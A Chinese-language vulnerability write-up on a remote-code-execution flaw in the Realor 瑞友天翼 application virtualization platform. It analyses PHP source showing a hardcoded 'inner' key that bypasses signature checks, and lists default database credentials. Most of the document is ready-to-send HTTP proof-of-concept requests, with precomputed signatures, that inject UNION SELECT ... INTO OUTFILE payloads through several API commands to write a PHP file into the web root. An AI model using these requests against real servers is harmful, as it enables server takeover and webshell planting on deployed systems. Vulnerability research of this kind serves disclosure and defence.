瑞友天翼 Rce分析

基本信息

瑞友天翼中存在SQL注入漏洞,攻击者可以利用SQL注入写入webshell,控制目标服务器。

环境搭建

影响版本

技术分析

数据库基本信息

127.0.0.1:5873
db: CASSystemDS
pwd: F1B5214C
user: admin

在ConsoleExternalApi.XGI中根据代码逻辑可得,请求中需携带initparams、key、sign等参数


$initparams = $_REQUEST['initParams'];
$key = $_REQUEST['key'];
$sign = $_REQUEST['sign'];

参数校验逻辑如下,此时直接使用key=inner绕过判断,则$keyVal值为Realor,下面拼接了$initparams和$keyVal并计算其md5值是否和sign变量相同。

if ($key == "wusuokey") {
    $keyVal = $COMCASWEB->getfarminfo($key);
} else if ($key == "inner") {
    $keyVal = "Realor";
}

if (!isset($keyVal) || empty($keyVal)) {
    write_log("{'参数非法':'key值为空'}");
    exitErrorJson('参数非法');
}
$signCalculate = md5($initparams . $keyVal);
//testLog("signCalculate=" . $signCalculate);
if ($signCalculate != $sign) {
    write_log("{'参数非法':'参数加密方法错误'}");
    exitErrorJson('参数非法');
}

之后使用两个下划线分割$initparams变量,存入数组并遍历数组

//  两个下划线分割,变成一个数组,之后遍历数组,用一个下划线分割并变成键值对存入$requestObj变量中。
$paramArr = explode("__", $initparams);
if (count($paramArr) == 0) {
    write_log("{'参数非法':'参数中未包含__'}");
    exitErrorJson('参数非法11');
}
$requestObj = null;
//testLog($paramArr);
foreach ($paramArr as $key => $value) {
    $keyValue = explode("_", $value);
    $requestObj[$keyValue[0]] = $keyValue[1];
}

之后从键值对数组中取出键为command的值,进行判断 $cmd = $requestObj['command']; 当$cmd为createUser时,从请求中取出POST body并尝试进行json decode,从中取出键为account的值拼接到sql语句中进行查询,此时可以使用单引号进行sql注入,借助union select into outfile语句写入webshell,达成代码执行。

if ($cmd == "createUser") {
    $POST_JSON = json_decode($HTTP_RAW_POST_DATA, true);
    $fId = getDefaultVal($POST_JSON['userGroupId'], getAdminGroupId());
    $account = $POST_JSON['account'];

    if (!isset($account) || empty($account)) {
        write_log("{'createUser':'用户账户不可为空'}");
        exitErrorJson('用户账号不可为空');
    }
    $account = utf8ToGbk($account);

    $userPwd = $POST_JSON['userPwd'];
    if (!isset($userPwd) || empty($userPwd)) {
        write_log("{'createUser':'用户密码不可为空'}");
        exitErrorJson('用户密码不可为空');
    }
    //账号是否已存在
    $result = mysql_query("select * from cuser where name='" . $account . "'", $DSCon);

PoC

GET /index.php/Index/dologin?name=aa');SELECT%20%22%3C?php%20phpinfo();?%3E%22%20into%20outfile%20%22../../WebRoot/1.php%22;' HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.5.8#stable (http://sqlmap.org)
Cookie: PHPSESSID=6mnhgqk6af1nmoqglg9sqfvek2;think_language=zh-cn
Host: 192.168.60.135
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

最新版poc

POST /ConsoleExternalApi.XGI?initParams=command_createUser&key=inner&sign=8b21270d796c45333f88f7db36ed9dbe HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.5.8#stable (http://sqlmap.org)
Cookie: PHPSESSID=6mnhgqk6af1nmoqglg9sqfvek2;think_language=zh-cn
Host: 192.168.60.135
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 170

{"account":"aaa' union select 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\"<?php phpinfo();?>\" into outfile \"../../WebRoot/1.php\";#","userPwd":"aa"}
POST /ConsoleExternalApi.XGI?initParams=command_importUsers&key=inner&sign=ec7e8f5769c2455b773600c2912216fd HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.5.8#stable (http://sqlmap.org)
Cookie: PHPSESSID=6mnhgqk6af1nmoqglg9sqfvek2;think_language=zh-cn
Host: 192.168.60.135
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 183

{"users":[{"account":"aaa' union select 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\"<?php phpinfo();?>\" into outfile \"../../WebRoot/1.php\";#","userPwd":"bbb"}]}
POST /ConsoleExternalApi.XGI?initParams=command_editUser__userId_usr00000010&key=inner&sign=dd1d23cb85d99349f2ab003c73df331f HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.5.8#stable (http://sqlmap.org)
Cookie: PHPSESSID=6mnhgqk6af1nmoqglg9sqfvek2;think_language=zh-cn
Host: 192.168.60.135
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 174

{"userGroupId":"aa","account":"aaa' union select 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\"<?php phpinfo();?>\" into outfile \"../../WebRoot/1.php\";#"}
POST /ConsoleExternalApi.XGI?initParams=command_allocatedPointsToServer&key=inner&sign=a3efd6862f5d11319c6de783b58ff04a HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.5.8#stable (http://sqlmap.org)
Cookie: PHPSESSID=6mnhgqk6af1nmoqglg9sqfvek2;think_language=zh-cn
Host: 192.168.60.135
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 142

{"serverId":"aa' union select 0,0,\"<?php phpinfo();?>\" into outfile \"../../WebRoot/1.php\";#","pointNUm":"aaa","maximumConcurrentNUm":"aa"}
POST /ConsoleExternalApi.XGI?initParams=command_getServerIpPort&key=inner&sign=94c4e967c00cb6da510b6a5e4e3c3fcc HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.5.8#stable (http://sqlmap.org)
Cookie: PHPSESSID=6mnhgqk6af1nmoqglg9sqfvek2;think_language=zh-cn
Host: 192.168.60.135
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 89

{"iP":"aa' union select 0,\"<?php phpinfo();?>\" into outfile \"../../WebRoot/1.php\";#"}
POST /ConsoleExternalApi.XGI?initParams=command_publishApp&key=inner&sign=74ed1f0c20a444c561294b4939b206dc HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.5.8#stable (http://sqlmap.org)
Cookie: PHPSESSID=6mnhgqk6af1nmoqglg9sqfvek2;think_language=zh-cn
Host: 192.168.60.135
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 100

{"name":"aa' union select \"<?php phpinfo();?>\" into outfile \"../../WebRoot/1.php\";#","type":"a"}
POST /ConsoleExternalApi.XGI?initParams=command_editApp__appId_APP00000002&key=inner&sign=f25574d747ffbbd51496015d25438fa9 HTTP/1.1
Cache-Control: no-cache
User-Agent: sqlmap/1.5.8#stable (http://sqlmap.org)
Cookie: PHPSESSID=6mnhgqk6af1nmoqglg9sqfvek2;think_language=zh-cn
Host: 192.168.60.135
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 223

{"name":"aa' union select 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\"<?php phpinfo();?>\" into outfile \"../../WebRoot/1.php\";#"}

代码逻辑:

// 传入参数initParams key sign
$initparams = $_REQUEST['initParams'];
$key = $_REQUEST['key'];
$sign = $_REQUEST['sign'];

//  两个下划线分割$initparams,变成一个数组
$paramArr = explode("__", $initparams);

// 设置key inner
if ($key == "wusuokey") {
    $keyVal = $COMCASWEB->getfarminfo($key);
} else if ($key == "inner") {
    $keyVal = "Realor";
}

if (!isset($keyVal) || empty($keyVal)) {
    write_log("{'参数非法':'key值为空'}");
    exitErrorJson('参数非法');
}

$signCalculate = md5($initparams . $keyVal);
//testLog("signCalculate=" . $signCalculate);
if ($signCalculate != $sign) {
    write_log("{'参数非法':'参数加密方法错误'}");
    exitErrorJson('参数非法');
}

$requestObj = null;
//testLog($paramArr);

// command_createuser
// 遍历数组,将数组的每一项通过_分割,变成键值对
foreach ($paramArr as $key => $value) {
    $keyValue = explode("_", $value);
    $requestObj[$keyValue[0]] = $keyValue[1];
}

// 获取command对应的值
$cmd = $requestObj['command'];

if ($cmd == "createUser") {
    // 从请求中获取json数据并decode
    $POST_JSON = json_decode($HTTP_RAW_POST_DATA, true);
    $account = $POST_JSON['account'];

    // 这里要保证请求的json数据里面有account
    if (!isset($account) || empty($account)) {
        write_log("{'createUser':'用户账户不可为空'}");
        exitErrorJson('用户账号不可为空');
    }
    $account = utf8ToGbk($account);

    // 这里要保证请求的json数据里面有userPwd
    $userPwd = $POST_JSON['userPwd'];
    if (!isset($userPwd) || empty($userPwd)) {
        write_log("{'createUser':'用户密码不可为空'}");
        exitErrorJson('用户密码不可为空');
    }
    //账号是否已存在 触发漏洞
    $result = mysql_query("select * from cuser where name='" . $account . "'", $DSCon);

Created at 2023-09-20T10:04:31+08:00

创建于:Wednesday, September 20,2023
最后修改于: Thursday, December 18,2025